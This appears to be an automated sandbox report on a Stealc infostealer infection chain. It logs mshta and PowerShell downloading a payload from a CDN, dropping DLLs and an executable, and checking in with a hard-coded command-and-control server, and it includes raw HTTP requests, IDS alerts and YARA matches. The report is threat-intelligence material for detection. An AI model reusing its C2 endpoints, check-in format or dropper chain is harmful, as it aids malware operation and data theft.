Source:	Binary string: dialer.pdb source: mshta.exe, 00000003.00000002.2371336752.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367001047.000002376BE02000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362755173.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2361886828.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367001047.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2366555321.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362119831.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362034445.0000023769CC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2359272014.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, smart1[1].3.dr
Source:	Binary string: BitLockerToGo.pdbGCTL source: 0SmartAssem.exe, 00000008.00000003.1981482070.0000022BEFA80000.00000004.00001000.00020000.00000000.sdmp, 0SmartAssem.exe, 00000008.00000003.1981404969.0000022BEFD30000.00000004.00001000.00020000.00000000.sdmp, 0SmartAssem.exe, 00000008.00000002.1998133835.000000C0004BB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5SqlVBox.pdb source: Qt5SqlVBox.dll.5.dr

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://193.176.153.234/587ec30955d49a9c.php

Source: global traffic	HTTP traffic detected: GET /smart1.zip HTTP/1.1Host: bidvertiser.b-cdn.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 193.176.153.234Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /587ec30955d49a9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGIDHost: 193.176.153.234Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 45 44 33 43 31 39 30 41 43 32 32 33 31 32 30 32 37 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 72 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="hwid"27ED3C190AC22312027626------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="build"cr3------BGHJJDGHCBGDHIECBGID--

Source: Joe Sandbox View

IP Address: 185.93.1.250 185.93.1.250

Source: Joe Sandbox View	ASN Name: AGROSVITUA AGROSVITUA
Source: Joe Sandbox View	ASN Name: CDN77GB CDN77GB

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /smart1 HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bidvertiser.b-cdn.netConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.153.234
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.153.234
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.153.234
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.153.234
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.153.234
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.153.234
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.153.234
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 11_2_030562D0 InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

11_2_030562D0

Source: global traffic	HTTP traffic detected: GET /smart1 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bidvertiser.b-cdn.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /smart1.zip HTTP/1.1Host: bidvertiser.b-cdn.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 193.176.153.234Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: bidvertiser.b-cdn.net

Source: unknown

HTTP traffic detected: POST /587ec30955d49a9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGIDHost: 193.176.153.234Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 45 44 33 43 31 39 30 41 43 32 32 33 31 32 30 32 37 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 72 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="hwid"27ED3C190AC22312027626------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="build"cr3------BGHJJDGHCBGDHIECBGID--

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49743 -> 193.176.153.234:80
Source: Network traffic	Suricata IDS: 2026434 - Severity 1 - ET MALWARE VBScript Redirect Style Exe File Download : 185.93.1.250:443 -> 192.168.2.4:49730

Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.234
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.234/
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.234/587ec30955d49a9c.php
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.234/587ec30955d49a9c.php/
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.234/587ec30955d49a9c.php0
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.234/587ec30955d49a9c.phpD
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.234/587ec30955d49a9c.phpl
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.234/587ec30955d49a9c.phpx
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.234/:
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.234/X
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.2348:
Source: BitLockerToGo.exe, 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.153.234;
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: svchost.exe, 00000004.00000002.2966543724.00000209D8600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: svchost.exe, 00000004.00000003.1732947947.00000209D8378000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000004.00000003.1732947947.00000209D8378000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000004.00000003.1732947947.00000209D8378000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000004.00000003.1732947947.00000209D83AD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.4.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000005.00000002.1922955102.000001EC25BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.1728419864.000001E7E16CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1723184426.00000222DA691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1922955102.000001EC259C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1922955102.000001EC25BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 00000000.00000002.1728419864.000001E7E1683000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000000.00000002.1728419864.000001E7E169E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1723184426.00000222DA691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1723184426.00000222DA6AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1922955102.000001EC259C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.1922955102.000001EC25BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net
Source: mshta.exe, 00000003.00000003.2366441304.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369689923.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358841397.0000022F67131000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/F
Source: mshta.exe, 00000003.00000003.2358841397.0000022F6711B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369402329.0000022F6711B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/h#
Source: mshta.exe, 00000003.00000003.2367255449.0000022F670B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358601385.0000022F670E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369835096.0000022F67400000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369176557.0000022F67070000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358601385.0000022F670CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1
Source: mshta.exe, 00000003.00000002.2369326741.0000022F670CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358601385.0000022F670CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1(i
Source: mshta.exe, 00000003.00000003.2366441304.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369689923.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358841397.0000022F67131000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1...
Source: mshta.exe, 00000003.00000003.2366620634.0000023769CA5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2370751127.0000023769CA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1...r#
Source: powershell.exe, 00000005.00000002.1922955102.000001EC25BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1.zipp
Source: mshta.exe, 00000003.00000002.2369326741.0000022F670CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358601385.0000022F670CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart10
Source: mshta.exe, 00000003.00000002.2371500355.000002376BE90000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2366801672.000002376BE8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1:asLMEMPx
Source: mshta.exe, 00000003.00000003.2366441304.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369689923.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358841397.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369176557.0000022F67070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1C:
Source: mshta.exe, 00000003.00000002.2369176557.0000022F67077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1D
Source: mshta.exe, 00000003.00000002.2369149756.0000022F67060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1H
Source: mshta.exe, 00000003.00000002.2369290267.0000022F670B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367255449.0000022F670B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1I9
Source: mshta.exe, 00000003.00000002.2369290267.0000022F670B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367255449.0000022F670B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1OOC:
Source: mshta.exe, 00000003.00000002.2371901544.000002376E1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1U
Source: mshta.exe, 00000003.00000002.2369835096.0000022F67400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1_BROWSER_APP_B
Source: mshta.exe, 00000003.00000002.2369290267.0000022F670B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367255449.0000022F670B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1c9x
Source: mshta.exe, 00000003.00000002.2369176557.0000022F67098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1entV
Source: mshta.exe, 00000003.00000003.2365006534.000002376D0B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1https://bidvertiser.b-cdn.net/smart1
Source: mshta.exe, 00000003.00000002.2369326741.0000022F670E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358601385.0000022F670E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bidvertiser.b-cdn.net/smart1m
Source: svchost.exe, 00000004.00000003.1732947947.00000209D8422000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000004.00000003.1732947947.00000209D8422000.00000004.00000800.00020000.00000000.sdmp, edb.log.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000005.00000002.1922955102.000001EC25BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: mshta.exe, 00000003.00000002.2369402329.0000022F6710A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358601385.0000022F670E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358841397.0000022F67109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 00000004.00000003.1732947947.00000209D8422000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.4.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: 0SmartAssem.exe	String found in binary or memory: https://protobuf.dev/reference/go/faq#namespace-conflictduration
Source: VBoxSharedClipboard.dll.5.dr, Qt5SqlVBox.dll.5.dr, VBoxSharedFolders.dll.5.dr, Qt5PrintSupportVBox.dll.5.dr, VBoxSupLib.dll.5.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: VBoxVMM.dll.5.dr	String found in binary or memory: https://www.virtualbox.org/

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 185.93.1.250:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.93.1.250:443 -> 192.168.2.4:49734 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_7336.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 00000008.00000002.1996165603.000000C000380000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 7336, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\VBoxSharedFolders.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\VBoxSharedClipboard.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\VBoxVMM.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Qt5SqlVBox.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\VBoxSupLib.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Qt5PrintSupportVBox.dll	Jump to dropped file

Very long command line found

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2846
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2846			Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Roaming\VBoxSupLib.dll 34E8BD19A7DD241A1275A3CF77A8A59A7DF1FC529F864F92D8548CC7E0429B26

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: String function: 03054610 appears 316 times

Source: 0SmartAssem.exe.5.dr

Static PE information: Number of sections : 12 > 10

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: amsi64_7336.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
